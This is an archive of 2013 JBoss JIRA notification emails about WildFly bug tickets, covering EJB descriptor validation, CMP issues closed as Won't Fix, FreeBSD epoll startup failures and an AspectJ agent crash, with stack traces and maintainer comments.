The way that the {{http://www.jboss.com/xml/ns/javaee}} schema is defined is open-ended enough to allow any root element to be used in any file.  If we want to change that I think the right next step is probably to revisit our schemas and see if it would be appropriate to break up the namespace into components.  Also, there is a backward compatibility concern here as well.

I'm not opposed to changing this behavior but it cannot be as simple as just disallowing a bunch of previously allowed root elements without adequate deprecation time.
                
> jboss-ejb3.xml is not correctly validated
> -----------------------------------------
>
>                 Key: WFLY-812
>                 URL: https://issues.jboss.org/browse/WFLY-812
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Josef Cacek
>            Assignee: David Lloyd
>
> When the root element in the {{jboss-ejb3.xml}} is not correct, the parser doesn't fail. The parser should contain a better validation.
> For instance ejb-security-interceptors quickstart wrongly uses:
> {code:xml}
> <jboss xmlns="http://www.jboss.com/xml/ns/javaee"
>        xmlns:jee="http://java.sun.com/xml/ns/javaee"
>        xmlns:ci ="urn:container-interceptors:1.0">
>     <jee:assembly-descriptor>
>         <ci:container-interceptors>
>             <!-- Class level container-interceptor which will be applicable for all business method
>              invocations on the bean -->
>             <jee:interceptor-binding>
>                 <ejb-name>IntermediateEJB</ejb-name>
>                 <interceptor-class>org.jboss.as.quickstarts.ejb_security_interceptors.ServerSecurityInterceptor</interceptor-class>
>             </jee:interceptor-binding>            
>             <jee:interceptor-binding>
>                 <ejb-name>SecuredEJB</ejb-name>
>                 <interceptor-class>org.jboss.as.quickstarts.ejb_security_interceptors.ServerSecurityInterceptor</interceptor-class>
>             </jee:interceptor-binding>
>         </ci:container-interceptors>
>     </jee:assembly-descriptor>
> </jboss>
> {code}
> And this works. But it works only untill the user wants to specify a security domain for instance. Then it fails, because the root element should not be {{<jboss>}} but {{<ejb-jar>}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 14:52:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 14:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-821) Infinite loop on ejb
	passivation
In-Reply-To: <JIRA.12478139.1351606558000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12478139.1351606558000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12478139.1351606558000.37784.1379703123480@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-821?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-821:
--------------------------------

    Assignee: Paul Ferraro  (was: jaikiran pai)


Paul, could you please look into this issue?  Thank you.
                
> Infinite loop on ejb passivation
> --------------------------------
>
>                 Key: WFLY-821
>                 URL: https://issues.jboss.org/browse/WFLY-821
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Michael Gronau
>            Assignee: Paul Ferraro
>              Labels: EJB3, passivation
>         Attachments: server-threaddump.txt
>
>
> see forum discussion please.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:10:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-830) env-entry-type should not be
	mandatory
In-Reply-To: <JIRA.12473366.1346292531000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473366.1346292531000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473366.1346292531000.37817.1379704203522@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-830?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-830:
--------------------------------

    Assignee: Stuart Douglas  (was: David Lloyd)


Stuart, when you're back please revisit this issue.  It's clear what the problem is (conceptually at least) but I either need you to talk me through the code or just outright fix it (it's probably not too tough to fix).

Thanks.
                
> env-entry-type should not be mandatory
> --------------------------------------
>
>                 Key: WFLY-830
>                 URL: https://issues.jboss.org/browse/WFLY-830
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>            Reporter: Cheng Fang
>            Assignee: Stuart Douglas
>
> similar to issue AS7-1876, but I couldn't reopen it.
> My app declares <env-entry> without <env-entry-type>, but also injects the same resource into java class with the correct field type.  It failed to deploy:
> {noformat}
> 21:57:58,318 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-10) MSC00001: Failed to start service jboss.deployment.unit."ENVTestAS7.jar".POST_MODULE: org.jboss.msc.service.StartException in service jboss.deployment.unit."ENVTestAS7.jar".POST_MODULE: JBAS018733: Failed to process phase POST_MODULE of deployment "ENVTestAS7.jar"
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:123) [jboss-as-server-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [classes.jar:1.6.0_33]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [classes.jar:1.6.0_33]
> 	at java.lang.Thread.run(Thread.java:680) [classes.jar:1.6.0_33]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011032: Could not determine type for <env-entry> java:comp/env/myEntry please specify the <env-entry-type>.
> 	at org.jboss.as.ee.component.deployers.ResourceReferenceProcessor.getEnvironmentEntries(ResourceReferenceProcessor.java:267)
> 	at org.jboss.as.ee.component.deployers.ResourceReferenceProcessor.processDescriptorEntries(ResourceReferenceProcessor.java:71)
> 	at org.jboss.as.ee.component.deployers.AbstractDeploymentDescriptorBindingsProcessor.deploy(AbstractDeploymentDescriptorBindingsProcessor.java:100)
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116) [jboss-as-server-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 5 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:18:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-841) EJB 2.1 Entity beans are not
 synchronized before ejbRemove invoked
In-Reply-To: <JIRA.12484094.1360001661000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484094.1360001661000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484094.1360001661000.37835.1379704683755@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-841?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-841.
------------------------------

      Assignee: David Lloyd  (was: jaikiran pai)
    Resolution: Won't Fix


This issue is being closed because CMP is no longer a part of the WildFly codebase.  The JBoss EAP 6.x product line does presently still support CMP however.
                
> EJB 2.1 Entity beans are not synchronized before ejbRemove invoked
> ------------------------------------------------------------------
>
>                 Key: WFLY-841
>                 URL: https://issues.jboss.org/browse/WFLY-841
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Kirill Paliy
>            Assignee: David Lloyd
>
> Jboss 4 had 	
> synchronizeEntitiesWithinTransaction(tx);
> before ejbFind/ejbRemove invoked, Jboss AS 7 doesn't do that, as a result all entities, enlisted in transaction are not synchronized until commit. But, ejbRemove in BMP beans propagates changes to DBMS immediately and fails because earlier changes are not applied yet (ejbStore is delayed).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:20:04 2013
From: jira-events at lists.jboss.org (Shelly McGowan (JIRA))
Date: Fri, 20 Sep 2013 15:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-140) Java Authentication Service
 Provider Interface for Containers 1.1 (JSR-196)
In-Reply-To: <JIRA.12498523.1376434986000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498523.1376434986000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498523.1376434986000.37838.1379704804160@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBEE-140?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806171#comment-12806171 ] 

Shelly McGowan commented on JBEE-140:
-------------------------------------

JASPIC 1.1 APIs, v1.0.0.Alpha1 are integrated in WildFly 8.0.0.Beta1:
https://github.com/wildfly/wildfly/commit/d085f3485e42ea70db5bbb0ced775af7eb4124fe
                
> Java Authentication Service Provider Interface for Containers 1.1 (JSR-196)
> ---------------------------------------------------------------------------
>
>                 Key: JBEE-140
>                 URL: https://issues.jboss.org/browse/JBEE-140
>             Project: JBoss JavaEE Spec APIs
>          Issue Type: Sub-task
>          Components: jboss-jaspi-api
>            Reporter: Shelly McGowan
>            Assignee: Shelly McGowan
>             Fix For: JavaEE 7 Spec APIs 1.0.0.Beta1
>
>
> Updates needed for JASPIC 1.1.
> See linked issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:20:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-864) CMR relation lost within
 creating transaction
In-Reply-To: <JIRA.12466103.1336640219000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466103.1336640219000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466103.1336640219000.37843.1379704804412@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-864?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-864.
------------------------------

    Resolution: Won't Fix


This issue is being closed because CMP is no longer a part of the WildFly codebase.  The JBoss EAP 6.x product line does presently still support CMP however.
                
> CMR relation lost within creating transaction
> ---------------------------------------------
>
>                 Key: WFLY-864
>                 URL: https://issues.jboss.org/browse/WFLY-864
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: Windows 7 Pro SP1 (64bit); JDK 1.6.0_31 (64bit); Oracle Database 11g Release 11.1.0.6.0 - 64bit Production; AS71.1Final / AS71.2 latest build 
>            Reporter: Klaus Benary
>            Assignee: jaikiran pai
>              Labels: ejb
>         Attachments: JCTest-maven.zip, JCTest.zip
>
>
> When creating a CMR related parent *and* child bean in the same transaction, the related child is not visible if it is accessed immediately after creation. After such an immediate access, the relation remains inaccessible within the same transaction even when re-reading the parent by PK. 
> In a new transaction the relation is fine.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:20:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-936) EJB 2.x Entity Bean Audit
 Field Deployment Issue
In-Reply-To: <JIRA.12481850.1357136561000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481850.1357136561000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481850.1357136561000.37847.1379704804571@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-936?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-936.
------------------------------

    Resolution: Won't Fix


This issue is being closed because CMP is no longer a part of the WildFly codebase.  The JBoss EAP 6.x product line does presently still support CMP however.
                
> EJB 2.x Entity Bean Audit Field Deployment Issue
> ------------------------------------------------
>
>                 Key: WFLY-936
>                 URL: https://issues.jboss.org/browse/WFLY-936
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Cory Dahlstrom
>            Assignee: jaikiran pai
>              Labels: new_and_noteworthy
>
> Upon deployment of an EJB 2 entity bean that has <audit> tags specified in the jbosscmp-jdbc.xml file you will get this exception:
> Caused by: java.lang.RuntimeException: JBAS010732: Couldn't create entity command
> 	at org.jboss.as.cmp.jdbc.JDBCCommandFactory.createCreateEntityCommand(JDBCCommandFactory.java:132)
> 	at org.jboss.as.cmp.jdbc.JDBCStoreManager.startStoreManager(JDBCStoreManager.java:215)
> 	at org.jboss.as.cmp.jdbc.JdbcStoreManagerStartService.start(JdbcStoreManagerStartService.java:44)
> 	... 5 more
> Caused by: java.lang.RuntimeException: JBAS010726: No security-domain configured but created-by specified
> 	at org.jboss.as.cmp.jdbc.JDBCAbstractCreateCommand.initGeneratedFields(JDBCAbstractCreateCommand.java:148)
> 	at org.jboss.as.cmp.jdbc.JDBCAbstractCreateCommand.init(JDBCAbstractCreateCommand.java:87)
> 	at org.jboss.as.cmp.jdbc.JDBCInsertPKCreateCommand.init(JDBCInsertPKCreateCommand.java:43)
> 	at org.jboss.as.cmp.jdbc.JDBCCommandFactory.createCreateEntityCommand(JDBCCommandFactory.java:130)
> 	... 7 more
> In looking at the source code where the error occurs in org.jboss.as.cmp.jdbc.JDBCAbstractCreateCommand, the securityManager is not being initialized in the init() method as it is in other version of JBoss.  This causes an exception to be thrown from the initGeneratedFields() method.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:20:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-936) EJB 2.x Entity Bean Audit
 Field Deployment Issue
In-Reply-To: <JIRA.12481850.1357136561000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481850.1357136561000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481850.1357136561000.37854.1379704804935@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-936?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-936:
-----------------------------

    Assignee: David Lloyd  (was: jaikiran pai)

    
> EJB 2.x Entity Bean Audit Field Deployment Issue
> ------------------------------------------------
>
>                 Key: WFLY-936
>                 URL: https://issues.jboss.org/browse/WFLY-936
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Cory Dahlstrom
>            Assignee: David Lloyd
>              Labels: new_and_noteworthy
>
> Upon deployment of an EJB 2 entity bean that has <audit> tags specified in the jbosscmp-jdbc.xml file you will get this exception:
> Caused by: java.lang.RuntimeException: JBAS010732: Couldn't create entity command
> 	at org.jboss.as.cmp.jdbc.JDBCCommandFactory.createCreateEntityCommand(JDBCCommandFactory.java:132)
> 	at org.jboss.as.cmp.jdbc.JDBCStoreManager.startStoreManager(JDBCStoreManager.java:215)
> 	at org.jboss.as.cmp.jdbc.JdbcStoreManagerStartService.start(JdbcStoreManagerStartService.java:44)
> 	... 5 more
> Caused by: java.lang.RuntimeException: JBAS010726: No security-domain configured but created-by specified
> 	at org.jboss.as.cmp.jdbc.JDBCAbstractCreateCommand.initGeneratedFields(JDBCAbstractCreateCommand.java:148)
> 	at org.jboss.as.cmp.jdbc.JDBCAbstractCreateCommand.init(JDBCAbstractCreateCommand.java:87)
> 	at org.jboss.as.cmp.jdbc.JDBCInsertPKCreateCommand.init(JDBCInsertPKCreateCommand.java:43)
> 	at org.jboss.as.cmp.jdbc.JDBCCommandFactory.createCreateEntityCommand(JDBCCommandFactory.java:130)
> 	... 7 more
> In looking at the source code where the error occurs in org.jboss.as.cmp.jdbc.JDBCAbstractCreateCommand, the securityManager is not being initialized in the init() method as it is in other version of JBoss.  This causes an exception to be thrown from the initGeneratedFields() method.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:20:05 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:20:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-994) NoSuchEntityException when
 using trans-attribute 'RequiresNew' (EJB 2.1)
In-Reply-To: <JIRA.12470179.1341996345000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12470179.1341996345000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12470179.1341996345000.37862.1379704805396@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-994?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-994.
------------------------------

      Assignee: David Lloyd  (was: jaikiran pai)
    Resolution: Won't Fix


This issue is being closed because CMP is no longer a part of the WildFly codebase.  The JBoss EAP 6.x product line does presently still support CMP however.
                
> NoSuchEntityException when using trans-attribute 'RequiresNew' (EJB 2.1)
> ------------------------------------------------------------------------
>
>                 Key: WFLY-994
>                 URL: https://issues.jboss.org/browse/WFLY-994
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: Windows, JDK 1.6.0_31
>            Reporter: Carsten Maneg
>            Assignee: David Lloyd
>
> NoSuchEntityException is caused when calling getter after ejb.create() if container-transaction is configured like this
> (xdoclet on class level @ejb.transaction type="RequiresNew")
> <container-transaction >
>   <method >
>      <ejb-name>OBToken</ejb-name>
>      <method-name>*</method-name>
>   </method>
>   <trans-attribute>RequiresNew</trans-attribute>
> </container-transaction>

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:26:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:26:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1453) WildFly is not running on
 FreeBSD due to missing Linux epoll_create syscall
In-Reply-To: <JIRA.12493609.1370418655000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493609.1370418655000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493609.1370418655000.37870.1379705164220@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1453?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-1453.
-------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done


This should be fixed in latest upstream now.
                
> WildFly is not running on FreeBSD due to missing Linux epoll_create syscall
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1453
>                 URL: https://issues.jboss.org/browse/WFLY-1453
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting, Scripts
>    Affects Versions: 8.0.0.Alpha1
>         Environment: FreeBSD arq 9.1-RELEASE-p3 FreeBSD 9.1-RELEASE-p3 #0: Mon Apr 29 18:27:25 UTC 2013     root at amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  amd64
> I am running the latest FreeBSD patching -p3 on top of the latest FreeBSD 9.1.
> java -version
> java version "1.7.0_21"
> Java(TM) SE Runtime Environment (build 1.7.0_21-b11)
> Java HotSpot(TM) Server VM (build 23.21-b01, mixed mode)
> I am running latest /usr/ports/java/linux-sun-jdk17 port which uses Java of version 1.7.0._21.
> Since this is JDK for Linux, there has to be Linux compatibility layer under Java and on top of FreeBSD. 
> I am running these ports in order to provide FreeBSD that Linux compatibility:
> % pkg_version | grep linux
> linux-f10-expat                     =
> linux-f10-fontconfig                =
> linux-f10-xorg-libs                 =
> linux_base-f10                      =
> I have enabled linux.ko driver in kernel
> % kldstat
> Id Refs Address            Size     Name
>  1   20 0xffffffff80200000 1323408  kernel
>  2    1 0xffffffff81524000 208758   zfs.ko
>  3    2 0xffffffff8172d000 5c78     opensolaris.ko
>  4    1 0xffffffff81812000 3e1c     linprocfs.ko
>  5    1 0xffffffff81816000 1f43e    linux.ko
>            Reporter: Stefan Miklosovic
>            Assignee: David Lloyd
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> When trying to start ./bin/standalone.sh, it writes these errors to the console:
> 09:22:43,771 INFO  [org.jboss.remoting] (MSC service thread 1-2) JBoss Remoting version 4.0.0.Beta1
> 09:22:43,823 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.remoting.endpoint.management: org.jboss.msc.service.StartException in service jboss.remoting.endpoint.management: JBAS017113: Failed to start service
> 	at org.jboss.as.remoting.EndpointService.start(EndpointService.java:85)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1974) [jboss-msc-1.1.2.Final.jar:1.1.2.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1907) [jboss-msc-1.1.2.Final.jar:1.1.2.Final]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: java.io.IOException: Function not implemented
> 	at sun.nio.ch.EPollArrayWrapper.epollCreate(Native Method) [rt.jar:1.7.0_21]
> 	at sun.nio.ch.EPollArrayWrapper.<init>(EPollArrayWrapper.java:87) [rt.jar:1.7.0_21]
> 	at sun.nio.ch.EPollSelectorImpl.<init>(EPollSelectorImpl.java:68) [rt.jar:1.7.0_21]
> 	at sun.nio.ch.EPollSelectorProvider.openSelector(EPollSelectorProvider.java:36) [rt.jar:1.7.0_21]
> 	at org.xnio.nio.NioXnio$DefaultSelectorCreator.open(NioXnio.java:203)
> 	at org.xnio.nio.NioXnioWorker.<init>(NioXnioWorker.java:89)
> 	at org.xnio.nio.NioXnio.createWorker(NioXnio.java:172)
> 	at org.jboss.remoting3.EndpointImpl.construct(EndpointImpl.java:137)
> 	at org.jboss.remoting3.Remoting.createEndpoint(Remoting.java:60)
> 	at org.jboss.remoting3.Remoting.createEndpoint(Remoting.java:73)
> 	at org.jboss.as.remoting.EndpointService.start(EndpointService.java:72)
> 	... 5 more
> Which are repeated several times for different components.
> The problem is with unimplemented Linux epoll syscall on Linux compatibility layer. The state of compatibility of Linux with FreeBSD can be tracked here:
> https://wiki.freebsd.org/linux-kernel
> Where, specifically, the workaround for this issue is:
> bq.if you run an application in the linux java which wants to use the linux epoll functions (you should see "not implemented" messages in dmesg), you can start java with the argument -Djava.nio.channels.spi.SelectorProvider=sun.nio.ch.PollSelectorProvider
> This is exactly what I see in dmesg: syscall epoll_create not implemented.
> I created simple patch for standalone.sh which resolve this by introducing FreeBSD platform and adding that argument into JAVA_OPTS.
> I am aware that WildFly is not officially supported for FreeBSD but I do not see a reason why it could not be repaired in order to provide at least some runnable version for the community to hack around.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:38:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:38:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2053) JSR-115 JACC 1.5 (also known
	as MREL 3)
In-Reply-To: <JIRA.12500625.1378997404000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500625.1378997404000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500625.1378997404000.37885.1379705884110@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2053?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806183#comment-12806183 ] 

David Lloyd commented on WFLY-2053:
-----------------------------------

Darran, can you let me know if this is something you can take on?  Not sure if I actually asked you before assigning.

Thanks.
                
> JSR-115 JACC 1.5 (also known as MREL 3)
> ---------------------------------------
>
>                 Key: WFLY-2053
>                 URL: https://issues.jboss.org/browse/WFLY-2053
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>            Reporter: David Lloyd
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Implement the changes in the third MREL of the JACC spec.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:40:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:40:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-881) jar references in tmp/vfs
 consuming file handles
In-Reply-To: <JIRA.12454142.1323256587000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12454142.1323256587000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12454142.1323256587000.37906.1379706004010@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-881?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806186#comment-12806186 ] 

David Lloyd commented on WFLY-881:
----------------------------------

Do you have any additional info or can you confirm that this problem is no longer present?  I would like to close this issue.

                
> jar references in tmp/vfs consuming file handles
> ------------------------------------------------
>
>                 Key: WFLY-881
>                 URL: https://issues.jboss.org/browse/WFLY-881
>             Project: WildFly
>          Issue Type: Bug
>          Components: VFS
>            Reporter: Nicklas Karlsson
>            Assignee: David Lloyd
>
> I see deployments in standalone/tmp/vfs/deployment1bdffd9028e55f79 that keep reference to multiple instances of the jars like
> joda-time-1.6.2.jar-38f02aa25a811ed4
> joda-time-1.6.2.jar-74d1519d59ff978d
> joda-time-1.6.2.jar-b197315704b17d7
> joda-time-1.6.2.jar-bc1bb40870af7097 
> 3-4 of each jar and they all consume a file handle on OS level. Are they all needed?
> all in all, the AS takes up around 1000 file handles on 4 deployed applications, causing out of file handles-errors if more applications are deployed without raising the limits.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:44:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:44:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-895) JBoss crashes when run with
 AspectJ java agent
In-Reply-To: <JIRA.12458681.1328740621000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12458681.1328740621000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12458681.1328740621000.37925.1379706244691@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-895?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-895.
------------------------------

    Resolution: Won't Fix


I'm going to close this issue.  There is not really anything we can do about it right now, due to the way that the JDK logging initialization process works.  AspectJ should be using some separated log framework instead; trying to use a logging framework that is shared with the application and in fact is not even initialized until the application runs does not make a lot of sense, and may have worked by coincidence for many applications, but it is the wrong approach.

                
> JBoss crashes when run with AspectJ java agent
> ----------------------------------------------
>
>                 Key: WFLY-895
>                 URL: https://issues.jboss.org/browse/WFLY-895
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: OS X 10.7.2, Ubuntu 11.10
>            Reporter: Jack Lund
>            Assignee: David Lloyd
>              Labels: aspectj, load_time_weaving
>
> When trying to start JBoss with the AspectJ java agent (-javaagent:/path/aspectjweaver.jar) to enable load-time weaving, JBoss crashes with the following stack trace in the logs:
> =========================================================================
>   JBoss Bootstrap Environment
>   JBOSS_HOME: /home/jack/jboss-as-7.1.0.CR1b
>   JAVA: java
>   JAVA_OPTS: -server -javaagent:/home/jack/aspectjweaver.jar -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
> =========================================================================
> WARNING: Failed to load the specified logmodule org.jboss.logmanager:main
> Exception in thread "main" java.lang.ExceptionInInitializerError
> 	at org.jboss.as.server.Main.main(Main.java:92)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
